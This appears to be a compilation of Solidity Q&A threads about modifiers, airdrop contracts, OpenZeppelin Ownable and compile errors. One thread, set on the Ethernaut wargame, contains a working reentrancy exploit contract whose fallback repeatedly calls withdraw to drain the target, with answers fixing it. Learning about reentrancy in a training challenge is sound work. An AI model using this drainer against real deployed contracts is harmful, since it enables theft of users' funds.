Modifiers on solidity - ethereum

So, as part of the bitdegree course on solidity I'm looking to create a modifier named onlyOwner and assign it to changePrice function. I must make sure the modifier allows function to be executed only if the sender's address matches the address of the owner. The sender's address can be obtained using msg.sender.
I have tried entering this to create the modifier but its not working for me and I'm not sure why. Any help/recommended code would be greatly appreciated!
pragma solidity ^0.4.17;
contract ModifiersTutorial {
address public owner;
uint256 public price = 0;
address public sender=msg.sender;
//
modifier onlyOwner(sender){
if (owner==sender);
}
//
// Use your modifier on the function below
function changePrice(uint256 _price) public onlyOwner {
price = _price;
}
function ModifiersTutorial () {
owner = msg.sender; // msg.sender in constructor equals to the address that created the contract
}
}

Your modifier code is incorrect. You need an underscore to proceed.
modifier onlyOwner(sender){
if (owner==sender) _; // Note the underscore
}
Also, for security reasons, you really should just use msg.sender instead of passing it in.
modifier onlyOwner() {
if (owner == msg.sender) _;
}

Not sure if it conflicts with the spec you've been given, but an alternative practice would be to require(owner == msg.sender) rather than use an if statement -- the former tells the user what happened, while the latter simply fails silently. This is what it could look like:
modifier onlyOwner(){
require(owner == msg.sender, "error-only-owner");
_;
}

pragma solidity ^0.4.17;
contract ModifiersTutorial {
address public owner;
uint256 public price = 0;
modifier onlyOwner(){
if( owner == msg.sender ) _;
}
function changePrice(uint256 _price) public onlyOwner{
price = _price;
}
function ModifiersTutorial () {
owner = msg.sender;
}
}

Related

Reentrancy attack implementation

I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.

SimpleAirdrop contract deploy issue even compile is working

I am trying to make Airdrop smartcontract but it return "This contract may be abstract, not implement an abstract parent's methods completely or not invoke an inherited contract's constructor correctly." message when deployed.....The compile works fine though.
Please check my code below
pragma solidity ^0.4.18;
contract ERC20 {
function transfer(address _to, uint256 _value)public returns(bool);
function balanceOf(address tokenOwner)public view returns(uint balance);
function transferFrom(address from, address to, uint256 tokens)public returns(bool success);
}
contract SimpleAirdrop is IERC20 {
IERC20 public token;
uint256 public _decimals = 18;
uint256 public _amount = 1*10**6*10**_decimals;
function SimpleAirdrop(address _tokenAddr) public {
token = IERC20(_tokenAddr);
}
function setAirdrop(uint256 amount, uint256 decimals) public {
_decimals = decimals;
_amount = amount*10**_decimals;
}
function getAirdrop(address reff) public returns (bool success) {
require (token.balanceOf(msg.sender) == 0);
//token.transfer(msg.sender, 1000000000000000000000);
//token.transfer(reff , 200000000000000000000);
token.transfer(msg.sender, _amount);
token.transfer(reff , _amount);
return true;
}
}
Your SimpleAirdrop inherits from IERC20 (see the first note). IERC20 is an abstract contract - it only defines its functions, but it doesn't implement them. Which makes SimpleAirdrop (the child contract of IERC20) an abstract contract as well.
Solidity doesn't allow deploying abstract contracts. So you have two options to make it not abstract:
Implement the transfer(), balanceOf() and transferFrom() functions (in any of the two contracts).
OR
Remove the inheritance, so that contract SimpleAirdrop is IERC20 becomes only contract SimpleAirdrop.
Assuming by the context of your SimpleAirdrop, which only executes functions on an external IERC20 address, but doesn't act as an ERC-20 token itself, option 2 is sufficient for your use case.
Notes:
Your question defines ERC20 contract but the rest of the code uses IERC20. I'm assuming this is just a typo while copying your code to the question, and that otherwise you're using the same naming in all places.
The current Solidity version (in June 2021) is 0.8.5. I recommend using the current version, there are security and bug fixes.
Please check for any misconception in codes below
No problem in compiling , Deployed using parameters and success in testnet
Problem rise when calling startAirdrop function...some problem with gas
Please be advised
pragma solidity ^0.4.18;
contract ERC20 {
function transfer(address _to, uint256 _value)public returns(bool);
function balanceOf(address tokenOwner)public view returns(uint balance);
function transferFrom(address from, address to, uint256 tokens)public returns(bool success);
}
contract SimpleAirdrop {
ERC20 public token;
uint256 public _decimals = 9;
uint256 public _amount = 1*10**6*10**_decimals;
uint256 public _cap = _amount *10**6;
address public tokenOwner = 0x0;
uint256 public _totalClaimed = 0;
uint256 public _reffPercent = 10;
function SimpleAirdrop(address _tokenAddr ,address _tokenOwner ) public {
token = ERC20(_tokenAddr);
tokenOwner = _tokenOwner;
}
function setAirdrop(uint256 amount, uint256 cap, uint256 decimals ,uint256 reffPercent) public returns (bool success){
require (msg.sender == tokenOwner);
_decimals = decimals;
_amount = amount*10**_decimals;
_cap = cap*10**_decimals;
_reffPercent = reffPercent;
return true;
}
function sendAirdropToken() public returns (bool success){
require (msg.sender == tokenOwner);
token.transferFrom(msg.sender,address(this),_cap);
return true;
}
function returnAirdropToOwner() public returns (bool success){
require (msg.sender == tokenOwner);
token.transferFrom(address(this), msg.sender, address(this).balance);
return true;
}
function getAirdrop(address reff) public returns (bool success){
if(msg.sender != reff && token.balanceOf(reff) != 0 && reff != 0x0000000000000000000000000000000000000000 && _cap >= _amount){
token.transfer(reff , _amount*(_reffPercent/100));
_cap = _cap - (_amount*(_reffPercent/100));
}
if(msg.sender != reff && token.balanceOf(reff) != 0 && token.balanceOf(msg.sender) == 0 && reff != 0x0000000000000000000000000000000000000000 && _cap >= _amount)
{ token.transfer(msg.sender, _amount);
_cap = _cap - _amount;
_totalClaimed ++;
}
return true;
}
}

Type is not callable for openZeppelin function

pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol";
contract SharedWallet is Ownable {
mapping(address => uint) public allowance;
modifier ownerOrAllowed(uint _amount) {
require(onlyOwner() || allowance[msg.sender] >= _amount, "You are not allowed");
_;
}
function addAllowance(address _who, uint _amount) public ownerOrAllowed(_amount) {
allowance[_who] = _amount;
}
function withdrawMoney(address payable _to, uint _amount) public onlyOwner{
_to.transfer(_amount);
}
receive() external payable {
}
}
Hello I'm getting a error when I try to deploy this contract it's saying the type is not callable and is pointing at the onlyOwner() inside the modifier. I'm using openZeppelin and it has a modifier called onlyOwner() so this should work? I been trying to find the problem but can't.
It's not possible to call a modifier (in your case onlyOwner()) as a function.
You can do a workaround by copying the onlyOwner contents and using them in your ownerOrAllowed.
// replace `onlyOwner()` call to its contents: `owner() == _msgSender()`
modifier ownerOrAllowed(uint _amount) {
require(owner() == _msgSender() || allowance[msg.sender] >= _amount, "You are not allowed");
_;
}

Undeclared identifier in solidity remix?

I'm new to Solidity.I've got an error from compiling the above code.
browser/EHRs.sol:18:9 :Error:Undeclared identifier.require(msg.sender = dotor);
Hopefully someone can give some guidance
pragma solidity ^0.4.0;
contract postRecord {
bytes32 public patientRecords;
address public doctor;
function Person() private{
doctor = msg.sender;
}
struct patient {
address client;
bool consent;
bytes32 name;
}
function setPatientRecords(bytes32 _patientRecords) public {
patientRecords = _patientRecords;
}
event Post(bytes32 patientRecords, address doctor);
modifier rightPerson {
require (msg.sender = doctor);
_;
}
function getRecords()public payable{
Post(patientRecords, doctor);
}}
Firstly use == to compare values, and secondly pass exception message as second parameter in require (you can pass empty string)
modifier rightPerson {
require (msg.sender == doctor, "");
_;
}
require()
Have a look at this solution
modifier rightPerson {
require (doctor == msg.sender);
_;
}
The problem is that inside the require statement, you are performing an assignment instead of a comparision.
require (msg.sender = doctor); This assigns doctor to msg.sender which is incorrect.
Instead, you should use the equality comparison operator == to perform the comparision.
require (msg.sender == doctor);
And as an answer above suggested, use a revert string for better user and dev experience.
require (msg.sender = doctor, "PostRecord: Caller must be a doctor.");
Also, write the contract name with a capital first letter: PostRecord instead of postRecord.

Create a "Transaction Handler" smart contract

New to solidity and geth for my traineeship, I started deploying contrcts using the solidity online IDE and the geth dev mode. My problem is I tried a few different ways to do it but nothing seems to really work.
Code:
contract Transaction {
address public owner;
mapping (address => uint) public balances;
function Transaction () {
owner = msg.sender;
}
function validateTransaction (address receiver, uint amount) constant returns (bool) {
if (balances[owner] < amount || owner == receiver || amount == 0)
return (false);
balances[owner] -= msg.value;
return (true);
}
function transact (address receiver, uint amount) {
if (!validateTransaction(receiver, amount))
return ;
balances[receiver] += msg.value;
}
function remove () {
if (msg.sender == owner)
selfdestruct(owner);
}
}
I also tried this contract of a solidity tutorial but it also don't work as I expected:
contract Coin {
// The keyword "public" makes those variables
// readable from outside.
address public minter;
mapping (address => uint) public balances;
// Events allow light clients to react on
// changes efficiently.
event Sent(address from, address to, uint amount);
// This is the constructor whose code is
// run only when the contract is created.
function Coin() {
minter = msg.sender;
}
function mint(address receiver, uint amount) {
if (msg.sender != minter) return;
balances[receiver] += amount;
}
function send(address receiver, uint amount) {
if (balances[msg.sender] < amount) return;
balances[msg.sender] -= amount;
balances[receiver] += amount;
Sent(msg.sender, receiver, amount);
}
}
I am just trying to make a smart contract that can make transactions between the sender and a receiver but the accounts balances don't move. Are that functions only abstract to learn how solidity works or can this really make the balances change ? Thanks for your answers :)
After have searched and work deeper on solidity I found that, indeed, this contract makes abstract transactions into HIS data. So the ether aren't truely sent and the balance variable is local to this contract.